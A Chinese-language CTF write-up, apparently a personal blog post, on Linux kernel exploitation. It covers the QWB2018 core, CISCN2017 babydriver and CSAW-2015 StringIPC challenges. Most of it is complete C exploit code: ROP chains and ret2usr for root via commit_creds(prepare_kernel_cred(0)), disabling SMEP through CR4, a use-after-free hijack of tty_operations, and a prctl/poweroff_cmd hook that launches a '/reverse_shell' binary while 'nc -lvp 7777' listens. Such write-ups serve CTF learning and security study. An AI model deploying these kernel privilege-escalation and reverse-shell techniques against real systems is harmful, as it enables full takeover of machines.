最近捡起了之前没学完的linux kernel pwn,听起来挺吓人的,其实和用户态libcpwn类比学起来想要入门还是比较容易的,之后会转向windows pwn,学习一下c艹、fuzz,补一下基础的东西
环境搭建 环境搭建还是比较麻烦的,我是使用Ubuntu16搭建的,之前试过Ubuntu20,但是glibc、gcc太新,有一些函数没有了导致一些东西编译失败,因为距离我搭建环境已经过去很久了,这里就不再阐述,推荐几位大师傅的文章
https://veritas501.space/2018/06/03/kernel%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE
http://pzhxbz.cn/?p=98
https://xz.aliyun.com/t/2306
内核源码 可以在这个网站查看各个版本的内核源码
https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/tty.h
内核保护机制
smep: Supervisor Mode Execution Protection,当处理器处于 ring 0 模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)
smap: Superivisor Mode Access Protection,类似于 smep,当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。
MMAP_MIN_ADDR:控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据。
KASLR:Kernel Address Space Layout Randomization(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。
2018 强网杯 - core 之 ROP && ret2usr 做题准备 ctf中的linux kernel pwn一般会给这几个文件:
core.cpio:这是一个打包的文件,解包以后发现里面有文件系统
start.sh: 启动脚本,标明启动的方法、保护措施等
bzImage:镜像文件
vmlinux:内核的二进制文件,一般会打包进文件系统中,类似于libc pwn中的libc
*.ko:存在漏洞的LKM,一般会打包进文件系统中
如果没有提供vmlinux,使用以下命令获取
~/linux-4.20/scripts/extract-vmlinux ./bzImage > vmlinux
解包命令:
打包命令:
1 find . | cpio -o --format=newc > ../core.cpio
首先我们新建一个目录并将文件系统解包进去,每次对文件系统有修改时都要重新打包。
文件系统中有一个叫init的文件(也有可能叫其他名字),该文件会在加载内核时对内核进行初始化
以该题为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko #poweroff -d 120 -f & #setsid /bin/cttyhack setuidgid 1000 /bin/sh setsid /bin/cttyhack setuidgid 0 /bin/sh echo 'sh end!\n' umount /proc umount /sys #poweroff -d 0 -f
setsid /bin/cttyhack setuidgid 0 /bin/sh 设自己为root,方便查看各种地址
cat /proc/kallsyms > /tmp/kallsyms 将kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了
echo 1 > /proc/sys/kernel/kptr_restrict 将 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但我们可以通过/tmp/kallsyms读
echo 1 > /proc/sys/kernel/dmesg_restrict 把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了
删掉poweroff相关指令,避免定时关机
开启保护 1 2 3 4 5 6 7 sivona@girlfriend:~/ctf-challenges/pwn/kernel/QWB2018-core/core$ checksec core.ko [*] '/home/sivona/ctf-challenges/pwn/kernel/QWB2018-core/core/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
可以看到驱动文件开启了canary
再来看一下qemu的启动参数
1 2 3 4 5 6 7 8 9 sivona@girlfriend:~/ctf-challenges/pwn/kernel/QWB2018-core$ cat start.sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
可以看到开启了kaslr
-s代表会在:1234起一个gdbserver
漏洞挖掘 init_module() 注册了/proc/core,并且绑定了core_write() core_ioctl() core_release()
core_ioctl() 有个switch结构可以执行三个操作
core_copy_func() 将全局变量name的内容复制到栈上,但是复制多少字节由我们决定,虽然这里有对字节数的check,但是可以通过负数绕过从而实现栈溢出
core_read() 可以将内核栈中的数据复制给用户空间的地址,以此实现泄露canary、绕过kaslr等
core_write() 可以给全局变量name赋值,在此写入rop
漏洞利用之rop 总体思路 通过rop执行 commit_creds(prepare_kernel_cred(0)) 可以使进程权限提升为root,类似于libc pwm中的system(“/bin/sh”)
然后返回用户态起shell
为什么要返回用户态呢?
因为在用户态许多事情会变得简单,而在内核态会很麻烦。
泄露 vmlinux 基地址 通过leak栈上的数据
1 0xffffc900000dbe90 —▸ 0xffffffff8118ecfa (do_vfs_ioctl+138) ◂— cmp eax, 0xfffffdfd
1 2 3 pwndbg> vmmap 0xffffffff8118ecfa LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0xffffffff81000000 0xffffffff81c0b000 r-xp c0b000 0 <qemu>
或者checksec在没开启kaslr的情况下
1 2 3 4 5 6 7 8 9 sivona@girlfriend:~/ctf-challenges/pwn/kernel/QWB2018-core/core$ checksec vmlinux [*] '/home/sivona/ctf-challenges/pwn/kernel/QWB2018-core/core/vmlinux' Arch: amd64-64-little Version: 4.15.8 RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments
泄露 commit_creds()、prepare_kernel_cred() 使用以下命令获取 commit_creds()、prepare_kernel_cred() 函数地址,但注意考虑kaslr
1 2 cat /proc/kallsyms | grep commit_creds cat /proc/kallsyms | grep prepare_kernel_cred
返回用户态 通过 swapgs 切换GS寄存器的值为用户态的值
然后恢复进入内核态之前保存的寄存器的值,注意rip应恢复为system(“/bin/sh”),这里可以通过内联汇编在进入内核态之前保存相关寄存器的值。
寻找gadget ubuntu16 不行!
ubuntu20 行!
ROPgadget 相对于ropper 前者速度比较快 输出的好像也比较多 但是有些指令没有 比如 iretq
将gadget保存起来备用
1 2 ROPgadget --binary ./vmlinux --all > gadgets1 python3 ../Ropper/Ropper.py --file ./vmlinux --nocolor > gadgets2
漏洞利用之ret2usr ret2usr 攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。
利用思路也是用过rop控制程序执行流,不同的是直接ret到用户态的函数,那么我们就可以通过函数指针调用 commit_creds(prepare_kernel_cred(0)) ,就不需要再在内核中找gadget去调用
当然这种利用方式实在没有开启SMEP保护的情况下才可以实现。
下面一个题会介绍如何 bypass SMEP
使用gdb动态调试 之前说过在start.sh中的 -s 参数在 :1234 开启了一个gdbserver,如果端口被占也可以通过 -gdb tcp::1234 指定端口
待qemu启动后,在gdb中使用
获取符号 1 2 3 4 5 6 7 / $ cat sys/module/core/sections/. .bss .orc_unwind .data .orc_unwind_ip .exit.text .rodata.str1.1 .gnu.linkonce.this_module .strtab .init.text .symtab .note.gnu.build-id .text
使用以上命令获取.text .bss .data段地址,然后在gdb中使用
1 add-symbol-file ./core.ko 0xffffffffc0000000 -s .bss 0xffffffffc0002400 -s .data 0xffffffffc0002000
rop-exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 //gcc exp.c -static -masm=intel -g -o exp #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } size_t commit_creds = 0x9c8e0; size_t prepare_kernel_cred = 0x9cce0; size_t raw_vmlinux = 0xffffffff81000000; // intel flavor assembly size_t user_cs, user_ss, user_rflags, user_sp; void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } void core_read(int fd,char* buf){ ioctl(fd,0x6677889B,buf); } void set_off(int fd,int off){ ioctl(fd,0x6677889C,off); } void core_copy_func(int fd,size_t size){ ioctl(fd,0x6677889A,size); } int main(void){ save_status(); int fd = open("/proc/core",2); if(fd == -1){ printf("fd: %d",fd); return 1; } /*leak*/ size_t buf[0x100] = {0}; set_off(fd,0x40); core_read(fd,buf); for(int i=0;i<8;i++){ printf("buf[%d]: ",i); printf("%p\n",buf[i]); } size_t canary = buf[0]; size_t vmlinux_base = buf[7] - 0x18ECFA; size_t ko_base = buf[2] - 0x19B; printf("canary:%p\n",canary); printf("vmlinux_base:%p\n",vmlinux_base); printf("ko_base:%p\n",ko_base); /*leak end*/ size_t rop[0x100] = {0}; int i; for(i=0;i<10;i++) rop[i] = canary; size_t offset = vmlinux_base - raw_vmlinux; rop[i++] = 0xffffffff81000b2f + offset; // pop rdi ; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred+vmlinux_base; rop[i++] = 0xffffffff811e8932 + offset; //pop r8; ret; rop[i++] = commit_creds+vmlinux_base; rop[i++] = 0xffffffff812852d7 + offset; //mov rdi, rax; call r8; add rsp, 0x10; ret; rop[i++] = 0; rop[i++] = 0; rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,sizeof(rop)); core_copy_func(fd,0xFFFFFFFFFFFF0100); close(fd); }
ret2usr-exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } size_t commit_creds = 0x9c8e0; size_t prepare_kernel_cred = 0x9cce0; size_t raw_vmlinux = 0xffffffff81000000; // intel flavor assembly size_t user_cs, user_ss, user_rflags, user_sp; void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } void core_read(int fd,char* buf){ ioctl(fd,0x6677889B,buf); } void set_off(int fd,int off){ ioctl(fd,0x6677889C,off); } void core_copy_func(int fd,size_t size){ ioctl(fd,0x6677889A,size); } void root(size_t vmlinux_base){ void* (*a)(int); void* (*b)(size_t); a = prepare_kernel_cred+vmlinux_base; b = commit_creds+vmlinux_base; (*b)((*a)(0)); } int main(void){ save_status(); int fd = open("/proc/core",2); if(fd == -1){ printf("fd: %d",fd); return 1; } /*leak*/ size_t buf[0x100] = {0}; set_off(fd,0x40); core_read(fd,buf); for(int i=0;i<8;i++){ printf("buf[%d]: ",i); printf("%p\n",buf[i]); } size_t canary = buf[0]; size_t vmlinux_base = buf[7] - 0x18ECFA; size_t ko_base = buf[2] - 0x19B; printf("canary:%p\n",canary); printf("vmlinux_base:%p\n",vmlinux_base); printf("ko_base:%p\n",ko_base); /*leak end*/ size_t rop[0x100] = {0}; int i; for(i=0;i<10;i++) rop[i] = canary; size_t offset = vmlinux_base - raw_vmlinux; rop[i++] = (size_t)root; //调用用户态函数 rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,sizeof(rop)); core_copy_func(fd,0xFFFFFFFFFFFF0100); close(fd); }
CISCN2017 - babydriver 之 UAF && bypass-smep smep 和 CR4 寄存器 这题开启了smep保护,意味着我们不能在内核中执行用户空间的代码,但是我们可以关掉这个保护,从而使得rop变得简单
系统根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。
搜索一下从 vmlinux 中提取出的 gadget,很容易就能达到这个目的。
gdb 无法查看 cr4 寄存器的值,可以通过 kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0。
漏洞挖掘 程序注册了一个叫 /dev/babydev 的设备,并绑定了babyrelease、babyopen、babyioctl、babywrite、babyread这几个函数。
在babyopen()中会分配0x40的堆并将堆地址保存至babydev_struct.device_buf。
babyioctl()会释放babydev_struct.device_buf保存的堆空间,并重新分配一段用户自定义大小的堆并保存在其中。
babyrelease()会释放babydev_struct.device_buf保存的堆空间。
babyread()和babywrite()分别对这款堆空间进行读写。
这里存在一个伪条件竞争引发的 UAF 漏洞。
也就是说如果我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为 babydev_struct 是全局的。同样,如果释放第一个,那么第二个其实是被是释放过的,这样就造成了一个 UAF。
漏洞利用之 修改 cred 结构体 总体思路
打开两次设备,通过 babyioctl 更改其大小为 cred 结构体的大小
close其中一个,然后 fork 一个新进程,那么这个新进程的 cred 的空间就会和之前释放的空间重叠
同时,我们可以通过另一个文件描述符对这块空间写,只需要将 uid,gid 改为 0,即可以实现提权到 root
cred结构体定于如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ };
确定cred结构体大小 在打ctf的时候如何确定各种结构体的大小一直困扰着我。。。就算是有源码。。。好在对于linux内核的内存管理机制是向上对齐的大小不必太准确。
haivk师傅介绍的一种查看cred结构体大小的方法:
先查看这个函数的地址
1 cat /proc/kallsyms | grep cred_init
然后通过IDA打开vmlinux 搜索地址,查看源码可以知道这里有cred结构的大小
1 2 3 4 5 6 7 8 9 /* * initialise the credentials stuff */ void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); }
漏洞利用之 修改 tty_struct 结构体 同样是利用uaf,这次是控制一个 tty_struct 结构,在 open(“/dev/ptmx”, O_RDWR) 时会分配这样一个结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; /* Protects ldisc changes: Lock tty not pty */ struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ struct ktermios termios, termios_locked; struct termiox *termiox; /* May be NULL for unsupported */ char name[64]; struct pid *pgrp; /* Protected by ctrl lock */ struct pid *session; unsigned long flags; int count; struct winsize winsize; /* winsize_mutex */ unsigned long stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; /* Bytes free for queue */ int flow_change; struct tty_struct *link; struct fasync_struct *fasync; int alt_speed; /* For magic substitution of 38400 bps */ wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port; };
其中有一个叫 tty_operations 的结构体指针,看这名字就觉得里面有一些函数指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif const struct file_operations *proc_fops; };
果然里面有对ptmx设备进行操作的对应函数指针,类似于libc pwn中的vtable
通过 UAF 伪造了这俩结构然后就可以控制程序流了
想要提权执行 commit_creds(prepare_kernel_cred(0)) 还是要写rop的,通过调试发现在对ptmx设备进行write操作时、也就是执行tty_operations中的第8个函数指针时,rax的值正好是tty_operations结构体的地址 也就是我们伪造的、可以控制的地址
先通过 mov rsp, rax 这个gadget把栈迁移到tty_operations上,然后再迁移到我们在用户空间写的rop上,修改rc4寄存器后ret2usr提权(这里不用ret2usr直接在内核中写rop应该也行
exp-bypass-smep 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } size_t commit_creds = 0xffffffff810a1420; size_t prepare_kernel_cred = 0xffffffff810a1810; size_t raw_vmlinux = 0xffffffff81000000; // intel flavor assembly size_t user_cs, user_ss, user_rflags, user_sp; void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } void root(){ void* (*a)(int); void* (*b)(size_t); a = prepare_kernel_cred; b = commit_creds; (*b)((*a)(0)); } int main(void){ save_status(); int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2); if(fd1 < 0 || fd2 < 0){ printf("open error fd: %d",fd1); return 1; } size_t rop[0x100] = {0}; int i = 0; rop[i++] = 0xffffffff810d238d; // pop rdi ; ret rop[i++] = 0x6f0; rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)root; rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; ioctl(fd1,0x10001,0x2e0); close(fd1); int fd_tty = open("/dev/ptmx",O_RDWR|O_NOCTTY); size_t fake_tty_struct[4] ={0}; size_t fake_tty_operations[30]; read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); fake_tty_struct[3] = fake_tty_operations; for(int i = 0;i<30;i++) fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret ------------栈迁移到rop fake_tty_operations[1] = (size_t)rop; fake_tty_operations[2] = 0xFFFFFFFF8181BFC5;// mov fake_tty_operations[7] = 0xFFFFFFFF8181BFC5;//mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e(ret)----------栈迁移到fake_tty_operations------这里有玄学,gdb中看到的不一样 write(fd2,fake_tty_struct,sizeof(fake_tty_struct)); char buf[8] = {0}; write(fd_tty,buf,8); return 0; }
Double Fetch 未完待续。。。
hijack prctl CSAW-2015-StringIPC
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/time.h> void spawn_shell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[*]spawn shell error!" ); } exit (0 ); } size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } char venge[] = "VengeBySivona" ;#define CSAW_IOCTL_BASE 0x77617363 #define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1 #define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2 #define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3 #define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4 #define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5 #define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6 #define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7 #define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8 struct alloc_channel_args { size_t buf_size; int id; }; struct open_channel_args { int id; }; struct grow_channel_args { int id; size_t size; }; struct shrink_channel_args { int id; size_t size; }; struct read_channel_args { int id; char *buf; size_t count; }; struct write_channel_args { int id; char *buf; size_t count; }; struct seek_channel_args { int id; loff_t index; int whence; }; struct close_channel_args { int id; }; size_t find_offset_gettimeofday () { size_t *buf = (((size_t )venge)&(~0xff )) + 0x18 ; int len = 0 ; while (buf[len]){ len++; } size_t bigget = 0 ; for (int i = 0 ;i<len;i++){ if (bigget < buf[i]) bigget = buf[i]; } return bigget&0xfff ; } int main () { size_t kernel_base = 0xFFFFFFFF81000000 ; size_t offset_gettimeofday_page = 0xFFFFFFFF81E04000 - kernel_base; size_t poweroff_func = 0xffffffff8109ce60 - kernel_base; size_t poweroff_cmd = 0xffffffff81e4dfa0 - kernel_base; size_t hook = 0xffffffff81eb8118 - kernel_base; int fd = open("/dev/csaw" ,0 ); if (fd < 0 ){ puts ("open dev erro." ); exit (1 ); } puts ("[+] open /dev/csaw." ); struct alloc_channel_args alloc_channel ; alloc_channel.buf_size = 0x10 ; ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_channel); struct shrink_channel_args shrink_channel ; shrink_channel.id = alloc_channel.id; shrink_channel.size = 0x11 ; ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel); size_t *buf = mmap((void *)0x10000 , 4096 , PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1 , 0 );; char *find = 0 ; size_t idx = 0xffffffff80000000 ; size_t header = 0x00010102464c457f ; while (idx<=0xffffffffffffafff ){ struct seek_channel_args seek_channel ; seek_channel.id = alloc_channel.id; seek_channel.index = idx-0x10 ; seek_channel.whence = SEEK_SET; ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel); struct read_channel_args read_channel ; read_channel.id = alloc_channel.id; read_channel.count = 0x1000 ; read_channel.buf = buf; ioctl(fd,CSAW_READ_CHANNEL,&read_channel); if (memmem(buf,0x1000 ,"ELF" ,3 )){ find = memmem(buf,0x1000 ,"__vdso_gettimeofday" ,strlen ("__vdso_gettimeofday" )); if (find){ printf ("[+]gettimeofday:%p\n" ,idx); int index = 0 ; while ((*find) || (*(find-1 ))){ --find; if (*find == '\0' ) ++index; } printf ("[+]index:%d\n" ,index); index = index*11 ; break ; } } idx += 0x1000 ; } kernel_base = idx - offset_gettimeofday_page; printf ("[+]kernel_base:%p\n" ,kernel_base); struct seek_channel_args seek_channel ; seek_channel.id = alloc_channel.id; seek_channel.index = poweroff_cmd + kernel_base - 0x10 ; seek_channel.whence = SEEK_SET; ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel); char binary[] = "/reverse_shell" ; struct write_channel_args write_channel ; write_channel.id = alloc_channel.id; write_channel.buf = binary; write_channel.count = strlen (binary)+1 ; ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel); printf ("[+]poweroff_cmd covered.\n" ); seek_channel.id = alloc_channel.id; seek_channel.index = hook + kernel_base - 0x10 ; seek_channel.whence = SEEK_SET; ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel); poweroff_func += kernel_base; write_channel.id = alloc_channel.id; write_channel.buf = &poweroff_func; write_channel.count = 8 ; ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel); int p = fork(); if (!p) prctl(0 ); puts ("[+]Listening..." ); system("nc -lvp 7777" ); close(fd); }
reference https://t3ls.club/index.php/archives/Linux-Kernel-Pwn.html
ctf-wiki
http://p4nda.top/2018/07/13/ciscn2018-core/#
https://ama2in9.top/2020/09/03/kernel/
https://veritas501.space/2018/06/03/kernel%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/
https://www.anquanke.com/post/id/201043
https://blog.csdn.net/seaaseesa/article/details/104695399/
http://p4nda.top/2018/11/07/stringipc/